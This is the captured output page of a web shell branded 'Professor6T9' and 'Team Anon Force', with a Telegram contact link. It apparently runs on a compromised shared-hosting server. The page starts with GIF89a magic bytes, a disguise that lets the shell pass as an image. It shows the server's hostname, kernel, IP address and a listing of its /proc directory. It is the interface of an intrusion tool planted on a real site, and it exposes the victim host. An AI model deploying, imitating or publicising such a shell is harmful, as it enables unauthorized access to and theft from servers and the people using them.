GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux altar25.supremepanel25.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
 LiteSpeed
 170.10.161.140
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-25 12:52:42
.. dir - root/root 0755 2025-12-09 10:20:18
1755531 dir - i8872627/i8872627 0555 2026-02-01 03:54:09
1774241 dir - i8872627/i8872627 0555 2026-02-01 03:54:09
1775345 dir - i8872627/i8872627 0555 2026-02-01 03:54:09
3660425 dir - i8872627/i8872627 0555 2026-02-01 03:54:09
978903 dir - i8872627/i8872627 0555 2026-02-01 03:54:09
acpi dir - root/root 0555 2025-07-25 12:52:44
bus dir - root/root 0555 2025-07-25 12:52:53
driver dir - root/root 0555 2026-02-01 03:54:11
fs dir - root/root 0555 2025-07-25 12:52:52
irq dir - root/root 0555 2025-07-25 12:52:46
kcare dir - root/root 0555 2026-02-01 03:54:11
lve dir - root/root 0555 2026-02-01 03:54:10
net link - i8872627/i8872627 0555 2026-02-01 03:54:11
scsi dir - root/root 0555 2025-07-25 12:52:53
self link - i8872627/i8872627 0555 2026-02-01 03:54:09
sys dir - root/root 0555 2025-07-25 12:52:43
sysvipc dir - root/root 0555 2026-02-01 03:54:11
thread-self link - i8872627/i8872627 0555 2026-02-01 03:54:10
tty dir - root/root 0555 2026-02-01 03:54:11
buddyinfo 0 B root/root 0444 2026-02-01 03:54:11
cgroups 0 B root/root 0444 2026-02-01 03:54:11
cmdline inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
consoles 0 B root/root 0444 2026-02-01 03:54:11
cpuinfo inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
crypto 0 B root/root 0444 2026-02-01 03:54:11
devices 0 B root/root 0444 2026-02-01 03:54:11
diskstats 0 B root/root 0444 2026-02-01 03:54:10
dma 0 B root/root 0444 2026-02-01 03:54:11
execdomains 0 B root/root 0444 2026-02-01 03:54:11
fb 0 B root/root 0444 2026-02-01 03:54:11
filesystems inode/x-empty 0 B root/root 0444 2026-02-01 03:54:09
interrupts 0 B root/root 0444 2026-02-01 03:54:11
iomem 0 B root/root 0444 2026-02-01 03:54:11
ioports 0 B root/root 0444 2026-02-01 03:54:11
kallsyms 0 B root/root 0444 2025-07-25 12:52:53
kcore 128 TB root/root 0400 2025-07-25 12:52:43
key-users 0 B root/root 0444 2026-02-01 03:54:11
keys 0 B root/root 0444 2026-02-01 03:54:11
kmsg 0 B root/root 0400 2026-02-01 03:54:11
kpagecgroup 0 B root/root 0400 2026-02-01 03:54:11
kpagecount 0 B root/root 0400 2026-02-01 03:54:11
kpageflags 0 B root/root 0400 2026-02-01 03:54:11
loadavg inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
locks 0 B root/root 0444 2026-02-01 03:54:11
mdstat 0 B root/root 0444 2026-02-01 03:54:11
meminfo inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
misc 0 B root/root 0444 2026-02-01 03:54:11
module_stats 0 B root/root 0444 2026-02-01 03:54:11
modules 0 B root/root 0444 2026-02-01 03:54:11
mounts inode/x-empty 0 B i8872627/i8872627 0444 2026-02-01 03:54:11
mtrr 0 B root/root 0644 2025-07-25 12:52:53
pagetypeinfo 0 B root/root 0400 2026-02-01 03:54:11
partitions 0 B root/root 0444 2026-02-01 03:54:11
sched_debug 0 B root/root 0444 2026-02-01 03:54:11
schedstat 0 B root/root 0444 2026-02-01 03:54:11
slabinfo 0 B root/root 0400 2026-02-01 03:54:11
softirqs 0 B root/root 0444 2026-02-01 03:54:11
stat inode/x-empty 0 B root/root 0444 2026-02-01 03:54:09
swaps 0 B root/root 0444 2025-07-25 12:52:43
sysrq-trigger 0 B root/root 0200 2025-07-25 12:52:53
timer_list 0 B root/root 0400 2026-02-01 03:54:11
uptime inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
version inode/x-empty 0 B root/root 0444 2026-02-01 03:54:11
vmallocinfo 0 B root/root 0400 2026-02-01 03:54:11
vmstat 0 B root/root 0444 2026-02-01 03:54:10
zoneinfo 0 B root/root 0444 2026-02-01 03:54:11
© Professor6T9